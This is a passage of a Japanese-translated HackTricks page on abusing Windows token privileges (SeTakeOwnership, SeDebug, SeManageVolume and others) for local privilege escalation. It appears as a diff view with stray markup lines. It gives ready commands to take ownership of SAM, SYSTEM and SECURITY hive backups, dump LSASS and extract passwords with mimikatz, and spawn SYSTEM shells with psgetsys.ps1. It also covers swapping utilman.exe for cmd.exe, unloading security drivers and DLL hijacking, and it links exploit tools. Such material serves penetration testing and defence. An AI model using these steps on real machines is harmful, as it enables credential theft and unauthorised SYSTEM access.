||||
|
||||
これは **SeRestorePrivilege** に似ています。その主な機能は、プロセスが **オブジェクトの所有権を引き受ける** ことを可能にし、WRITE_OWNER アクセス権を提供することで明示的な裁量的アクセスの要件を回避します。このプロセスは、まず書き込み目的のために対象のレジストリキーの所有権を確保し、その後 DACL を変更して書き込み操作を有効にすることを含みます。
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
### SeDebugPrivilege
|
||||
|
||||
この特権は、**他のプロセスをデバッグする**ことを許可し、メモリの読み書きが可能です。この特権を使用して、ほとんどのアンチウイルスおよびホスト侵入防止ソリューションを回避できるメモリ注入のさまざまな戦略を採用できます。
|
||||
|
||||
#### メモリのダンプ
|
||||
|
||||
[ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)を[SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)から使用するか、[SharpDump](https://github.com/GhostPack/SharpDump)を使用して、**プロセスのメモリをキャプチャ**できます。具体的には、ユーザーがシステムに正常にログインした後にユーザー資格情報を保存する責任を持つ**ローカルセキュリティ認証サブシステムサービス([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**プロセスに適用できます。
|
||||
|
||||
その後、このダンプをmimikatzにロードしてパスワードを取得できます:
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
#### RCE
|
||||
|
||||
`NT SYSTEM` シェルを取得したい場合は、次のものを使用できます:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
`SeManageVolumePrivilege`は、ディスクボリュームを管理するためのWindowsユーザー権限であり、ボリュームの作成や削除を含みます。管理者向けに設計されていますが、非管理者ユーザーに付与されると、特権昇格に悪用される可能性があります。
|
||||
|
||||
この特権を利用してボリュームを操作し、完全なボリュームアクセスを得ることが可能です。[SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit)を使用すると、C:\のすべてのユーザーに完全なアクセスを付与できます。
|
||||
|
||||
さらに、[このMedium記事](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37)に記載されているプロセスでは、`SeManageVolumePrivilege`とDLLハイジャックを組み合わせて特権を昇格させる方法が説明されています。ペイロードDLL `C:\Windows\System32\wbem\tzres.dll`を配置し、`systeminfo`を呼び出すことでDLLが実行されます。
|
||||
|
||||
## Check privileges
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
**無効として表示されるトークン**は有効にすることができ、実際に_有効_および_無効_トークンを悪用することができます。
|
||||
|
||||
### すべてのトークンを有効にする
|
||||
|
||||
トークンが無効になっている場合は、スクリプト[**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1)を使用してすべてのトークンを有効にすることができます:
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
|
||||
|
||||
## Table
|
||||
|
||||
Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
|
||||
|
||||
| Privilege | Impact | Tool | Execution path | Remarks |
|
||||
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"ユーザーがトークンを偽装し、potato.exe、rottenpotato.exe、juicypotato.exeなどのツールを使用してntシステムに昇格することを可能にします"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|
||||
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | `robocopy /b`を使用して機密ファイルを読み取る | <p>- %WINDIR%\MEMORY.DMPを読み取ることができる場合、より興味深いかもしれません。<br><br>- <code>SeBackupPrivilege</code>(およびrobocopy)は、オープンファイルに関しては役に立ちません。<br><br>- Robocopyは、/bパラメータで動作するためにSeBackupとSeRestoreの両方を必要とします。</p> |
|
||||
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken`を使用してローカル管理者権限を含む任意のトークンを作成します。 | |
|
||||
| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe`トークンを複製します。 | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|
||||
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. <code>szkg64.sys</code>のようなバグのあるカーネルドライバーをロードします。<br>2. ドライバの脆弱性を悪用します。<br><br>または、<code>ftlMC</code>ビルトインコマンドを使用してセキュリティ関連のドライバーをアンロードするためにこの特権を使用できます。すなわち:<code>fltMC sysmondrv</code></p> | <p>1. <code>szkg64</code>の脆弱性は<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a>としてリストされています。<br>2. <code>szkg64</code>の<a href="https://www.greyhathacker.net/?p=1025">エクスプロイトコード</a>は<a href="https://twitter.com/parvezghh">Parvez Anwar</a>によって作成されました。</p> |
|
||||
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. SeRestore特権を持つ状態でPowerShell/ISEを起動します。<br>2. <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>で特権を有効にします。<br>3. utilman.exeをutilman.oldに名前変更します。<br>4. cmd.exeをutilman.exeに名前変更します。<br>5. コンソールをロックし、Win+Uを押します。</p> | <p>攻撃は一部のAVソフトウェアによって検出される可能性があります。</p><p>代替手法は、同じ特権を使用して「Program Files」に保存されたサービスバイナリを置き換えることに依存します。</p> |
|
||||
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. cmd.exeをutilman.exeに名前変更します。<br>4. コンソールをロックし、Win+Uを押します。</p> | <p>攻撃は一部のAVソフトウェアによって検出される可能性があります。</p><p>代替手法は、同じ特権を使用して「Program Files」に保存されたサービスバイナリを置き換えることに依存します。</p> |
|
||||
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>トークンを操作してローカル管理者権限を含めることができます。SeImpersonateが必要な場合があります。</p><p>確認が必要です。</p> | |
|
||||
|
||||
## Reference
|
||||
|
||||
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user